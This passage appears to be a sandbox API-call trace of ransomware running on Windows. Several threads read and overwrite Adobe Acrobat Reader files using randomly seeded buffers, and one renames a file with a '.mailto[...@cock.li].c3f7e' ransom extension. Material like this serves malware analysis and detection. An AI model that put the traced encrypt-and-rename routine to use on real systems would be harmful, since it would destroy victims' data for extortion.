	[0089.720] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x2ddf2e0 | out: lpFindFileData=0x2ddf2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0
	[0089.720] FindClose (in: hFindFile=0x477b368 | out: hFindFile=0x477b368) returned 1
	[0089.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddf2e0) returned 1
	[0089.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ec98) returned 1
	[0089.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d8e8) returned 1

Thread:
	id = 781
	os_tid = 0x1b60

	[0079.457] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer")) returned 0x20
	[0087.430] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer", dwFileAttributes=0x20) returned 1
	[0087.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pmd.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ae0
	[0087.430] GetFileSizeEx (in: hFile=0x1ae0, lpFileSize=0x1cb3fea8 | out: lpFileSize=0x1cb3fea8*=420) returned 1
	[0087.430] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.430] ReadFile (in: hFile=0x1ae0, lpBuffer=0x1cb3fe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cb3fe28, lpOverlapped=0x0 | out: lpBuffer=0x1cb3fe2c*, lpNumberOfBytesRead=0x1cb3fe28*=0x4, lpOverlapped=0x0) returned 1
	[0087.431] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.431] NtQuerySystemTime (in: CurrentTime=0x1cb3fe08 | out: CurrentTime=0x1cb3fe08*=132251868141632332) returned 0x0
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xeb7a7523
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xd744f0b2
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x66320162
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xf2667801
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xeb0239bc
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x2d053040
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x7088520c
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xe19811a8
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x63b64e2c
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x4f3dbe58
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x84599829
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x405ab39c
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xf5be431e
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x8d7907be
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xfcb70c7d
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x382866fe
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xd5bd8cd
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x8c88816d
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xad573547
	[0087.431] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x70fb6bb5
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xbb46dfac
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x4a9f096
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x391defa1
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xf1c6bcee
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x780365f5
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xc7d04805
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x82e706fc
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0xbcc316b3
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x7ad2edcf
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x71b41033
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x20b522b8
	[0087.432] RtlRandom (in: Seed=0x1cb3fe14 | out: Seed=0x1cb3fe14) returned 0x5f5eacdf
	[0087.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0087.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0087.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.441] ReadFile (in: hFile=0x1ae0, lpBuffer=0x4895858, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0x1cb3fe04, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1cb3fe04*=0x1a4, lpOverlapped=0x0) returned 1
	[0087.441] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.441] WriteFile (in: hFile=0x1ae0, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0x1cb3fe00, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1cb3fe00*=0x1a4, lpOverlapped=0x0) returned 1
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47819e0
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47818a0
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.442] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xff) returned 0x481d3c0
	[0087.442] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.442] WriteFile (hFile=0x1ae0, lpBuffer=0x481d3c0, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x1cb3fe68, lpOverlapped=0x0) 

Thread:
	id = 782
	os_tid = 0x1b64

	[0079.458] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der")) returned 0x20
	[0087.387] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der", dwFileAttributes=0x20) returned 1
	[0087.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8
	[0087.389] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x1cbbf94c | out: lpFileSize=0x1cbbf94c*=1098) returned 1
	[0087.389] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.389] ReadFile (in: hFile=0x1ac8, lpBuffer=0x1cbbf8d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cbbf8cc, lpOverlapped=0x0 | out: lpBuffer=0x1cbbf8d0*, lpNumberOfBytesRead=0x1cbbf8cc*=0x4, lpOverlapped=0x0) returned 1
	[0087.390] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.391] NtQuerySystemTime (in: CurrentTime=0x1cbbf8ac | out: CurrentTime=0x1cbbf8ac*=132251868141319247) returned 0x0
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x52fd2a20
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x49763d74
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x18cb4a2
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xcffdb1fb
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xc5f259a1
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x3ee9d23c
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x34949bee
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x604dac1e
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xaffb19b0
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xd7edc641
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x5b51b3c8
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x6fa2ed4d
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xf128ac64
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x25ac1380
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x8077919c
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x8ebf9fd2
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xe5379522
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xf54c6095
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x62efe2ee
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x3f1fb23
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x2c6c2ebb
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x5b75c549
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x15c5ef15
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x2da75fcf
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x80ffcfc0
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xa6b4a33e
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x21b196d2
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xae43eb9
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xa525a940
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0xcbb89154
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x16457442
	[0087.391] RtlRandom (in: Seed=0x1cbbf8b8 | out: Seed=0x1cbbf8b8) returned 0x4beb8791
	[0087.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0087.400] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.400] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.400] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.400] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.400] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.400] ReadFile (in: hFile=0x1ac8, lpBuffer=0x4895858, nNumberOfBytesToRead=0x44a, lpNumberOfBytesRead=0x1cbbf8a8, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1cbbf8a8*=0x44a, lpOverlapped=0x0) returned 1
	[0087.400] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.400] WriteFile (in: hFile=0x1ac8, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0x44a, lpNumberOfBytesWritten=0x1cbbf8a4, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1cbbf8a4*=0x44a, lpOverlapped=0x0) returned 1
	[0087.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.401] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.401] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.401] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47819e0
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1b) returned 0x47818a0
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.402] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.402] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xff) returned 0x481d3c0
	[0087.402] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.402] WriteFile (in: hFile=0x1ac8, lpBuffer=0x481d3c0*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x1cbbf90c, lpOverlapped=0x0 | out: lpBuffer=0x481d3c0*, lpNumberOfBytesWritten=0x1cbbf90c*=0xff, lpOverlapped=0x0) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.403] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0087.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0087.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ea3a0
	[0087.404] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der"
	[0087.404] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.404] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1cbbf8c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44980
	[0087.404] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x1cbbf8bc, FileInformation=0x2e44980, Length=0xd8, FileInformationClass=0xa) returned 0x0
	[0087.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0087.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0087.405] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x1cbbf8d0, FileInformation=0x1cbbf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1cbbf8d0, FileInformation=0x1cbbf8a8) returned 0x0
	[0087.405] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x1cbbf8d0, FileInformation=0x1cbbf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0087.406] FlushFileBuffers (hFile=0x1ac8) returned 1
	[0093.128] CloseHandle (hObject=0x1ac8) 

Thread:
	id = 783
	os_tid = 0x1b68

	[0079.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d240
	[0079.458] wcscpy (in: _Dest=0x498d240, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0079.458] wcscat (in: _Dest=0x498d240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0079.458] wcscat (in: _Dest=0x498d240, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*"
	[0079.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf548
	[0079.458] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b328
	[0087.387] wcscmp (_String1=".", _String2=".") returned 0
	[0087.387] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.388] wcscmp (_String1="..", _String2=".") returned 1
	[0087.389] wcscmp (_String1="..", _String2="..") returned 0
	[0087.389] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387172c5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_reviewer.gif", cAlternateFileName="ADD_RE~1.GIF")) returned 1
	[0087.389] wcscmp (_String1="add_reviewer.gif", _String2=".") returned 1
	[0087.389] wcscmp (_String1="add_reviewer.gif", _String2="..") returned 1
	[0087.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x4987580
